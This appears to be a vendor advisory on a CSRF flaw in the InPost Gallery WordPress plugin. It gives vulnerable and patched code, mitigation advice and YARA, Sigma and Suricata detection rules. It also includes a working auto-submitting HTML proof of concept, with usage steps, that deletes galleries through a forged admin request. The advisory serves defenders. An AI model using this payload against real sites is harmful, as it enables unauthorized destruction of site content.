CVE-2025-26903
Executive Summary
CVE-2025-26903 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the InPost Gallery WordPress plugin, developed by RealMag777. The flaw exists in all versions up to and including 2.1.4.3. An attacker can craft a malicious request that, when triggered by an authenticated administrator, performs unauthorized actions within the plugin’s settings or gallery management functions. This can lead to unauthorized configuration changes, gallery deletion, or injection of malicious content. The vulnerability is classified as WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.
CVSS Score: 4.3 (Medium)
EPSS Score: 0.0% (Low exploitation probability)
Patch Status: UNKNOWN / UNPATCHED – No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. No supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Attacker does not need authentication.
- User Interaction (UI): Required (R) – Victim must click a link or visit a malicious page.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): None (N) – No data disclosure.
- Integrity (I): Low (L) – Unauthorized modification possible.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity can be leveraged for further attacks (e.g., stored XSS via gallery settings).
Deep Dive & Mechanics
The InPost Gallery plugin fails to implement proper CSRF tokens or nonces on state-changing operations (e.g., saving gallery settings, deleting galleries, or importing/exporting data). An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the vulnerable endpoint.
Example vulnerable endpoint:/wp-admin/admin-ajax.php?action=inpost_gallery_delete&gallery_id=123
Since no CSRF token is validated, the request is processed as if coming from the legitimate admin.
Attack Flow:
- Attacker identifies a logged-in admin.
- Attacker sends a crafted link (e.g., via email or social engineering).
- Admin clicks the link, which sends a forged POST/GET request to the plugin’s admin-ajax handler.
- The plugin executes the action (e.g., delete gallery, change settings).
Vulnerable vs. Patched Code
Vulnerable Code (inpost-gallery.php or similar):
add_action('wp_ajax_inpost_gallery_delete', 'inpost_gallery_delete_callback');
function inpost_gallery_delete_callback() {
$gallery_id = $_POST['gallery_id'];
// No nonce check
delete_gallery($gallery_id);
wp_die();
}
Patched Code (hypothetical fix):
add_action('wp_ajax_inpost_gallery_delete', 'inpost_gallery_delete_callback');
function inpost_gallery_delete_callback() {
// Verify nonce
if (!wp_verify_nonce($_POST['_wpnonce'], 'inpost_gallery_delete_nonce')) {
wp_die('CSRF validation failed.');
}
$gallery_id = $_POST['gallery_id'];
delete_gallery($gallery_id);
wp_die();
}
Exploitation & Lab Setup
Red Team (Proof of Concept)
Since no public exploit code exists, a basic CSRF PoC can be crafted:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="inpost_gallery_delete">
<input type="hidden" name="gallery_id" value="1">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Usage: Host this HTML on an attacker-controlled server and send the link to an authenticated admin. The admin’s browser will automatically submit the form, deleting gallery ID 1.
Blue Team (Detection & Hardening)
- Monitor for unusual admin-ajax requests without a valid nonce parameter.
- Implement Content Security Policy (CSP) to block external form submissions.
- Use WordPress security plugins that add CSRF protection to custom AJAX endpoints.
- Educate administrators about phishing and social engineering attacks.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=inpost_gallery_*parameters and missing_wpnoncefield. - Logs: WordPress debug log entries showing unexpected gallery deletions or settings changes.
- File: Unauthorized modifications to the
wp-content/uploads/inpost-gallery/directory. - User Agent: No specific UA, but requests may originate from automated scripts.
Detection Engineering
YARA Rule
rule CVE_2025_26903_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against InPost Gallery plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26903"
strings:
$ajax_action = "inpost_gallery_" nocase
$admin_ajax = "admin-ajax.php" nocase
$post_method = "POST" nocase
condition:
all of them
}
Sigma Rule
title: CSRF Exploit Against InPost Gallery Plugin
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests targeting InPost Gallery admin-ajax endpoints without nonce
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=inpost_gallery_'
condition: selection
falsepositives:
- Legitimate plugin operations (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26903 - InPost Gallery CSRF Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=inpost_gallery_"; http_uri; pcre:"/inpost_gallery_(delete|save|import|export)/Ui"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=inpost_gallery_*unless a valid nonce is present. - Restrict admin access to trusted IPs only.
Long-term Fix:
- The vendor must add CSRF nonce verification to all AJAX actions. Example:
check_ajax_referer('inpost_gallery_nonce', 'security'); - Alternatively, use WordPress’s built-in
wp_nonce_field()andwp_verify_nonce()functions.
Workaround:
- Use a security plugin like Wordfence or Sucuri to add CSRF protection to custom endpoints.
Valters IT
Securing WordPress Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.